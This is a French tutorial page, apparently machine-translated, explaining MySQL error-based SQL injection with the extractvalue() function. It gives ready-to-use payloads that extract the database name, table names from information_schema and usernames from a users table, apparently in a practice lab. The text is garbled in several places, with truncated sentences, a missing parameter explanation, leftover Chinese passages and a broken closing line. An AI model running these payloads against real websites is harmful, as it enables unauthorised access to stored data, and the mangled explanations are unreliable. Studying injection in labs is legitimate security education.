Maison  >  Article  >  base de données  >  Qu’est-ce que l’injection d’erreur MySQL ?

Qu’est-ce que l’injection d’erreur MySQL ?

WBOY
WBOYoriginal
2022-03-09 13:58:132857parcourir

Dans MySQL, l'injection d'erreur fait référence à la construction d'instructions appropriées pour obtenir les données souhaitées via les informations d'erreur signalées sur la page ; si le système d'application ne ferme pas la fonction d'erreur de la base de données, vous pouvez utiliser la fonction extractvalue() pour renvoyer les informations. contenu dans le XML cible La chaîne de la valeur de la requête.

Qu’est-ce que l’injection d’erreur MySQL ?

L'environnement d'exploitation de ce tutoriel : système windows10, version mysql8.0.22, ordinateur Dell G3.

Qu'est-ce que l'injection d'erreur MySQL ?

1. Qu'est-ce que l'injection d'erreur ? Et dans quelles circonstances est-il utilisé ?

  L'injection d'erreur peut également être considérée comme une sorte d'injection aveugle ------ construisez la charge utile de sorte que les informations soient répercutées via l'invite d'erreur. Vous pouvez envisager d'utiliser l'injection d'erreurs lorsque la requête conjointe ne peut pas révéler la position évidente.

Alors, comment se forme l'injection d'erreur ?

Tout d'abord, le système d'application n'a pas fermé la fonction de rapport d'erreurs de la base de données. Pour certaines erreurs d'instructions SQL, elles sont directement répercutées sur la page, et certaines divulguent même directement le nom de la base de données et le nom de la table ; est essentiel que l'arrière-plan ne réponde pas à MySQL. Filtrez la fonction de rapport d'erreurs

2. Fonctions couramment utilisées pour le rapport d'erreurs

Ici, j'utilise la fonction extractvalue(), dont la fonction est de renvoyer une chaîne contenant la valeur de la requête du target XML

EXTRACTVALUE (XML_document, XPath_string) : Le premier paramètre : XML_document est au format String, qui est le nom de l'objet document XML ; ,0x7e))--+. Parmi eux, concat est le paramètre de concaténation () et 0x7e est le symbole ~ après décodage. --+ est le caractère de commentaire, commentez toutes les instructions suivantes dans le code source pour éviter les erreurs. Après le test, les résultats sont les suivants :

     //Le 1 avant concat est le premier paramètre de la fonction extractvalue() et peut être remplacé par n'importe quel nombre

                   nel passant par jusqu'à 1 dans le 1er argument

  Utilisez. déclaration

 1‘ and extractvalue(1,concat(0x7e,(select database()),0x7e))--+,

 3. Obtenez le nom de la table

     1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+. 其中group_concat将tale_name字段的所有行放在一行上显示出来,如下所示

 4. Obtenez les données

    1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))--+. 修改其中的limit参数即可获取users表中的不同行内容

Apprentissage recommandé :

tutoriel vidéo MySQL

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn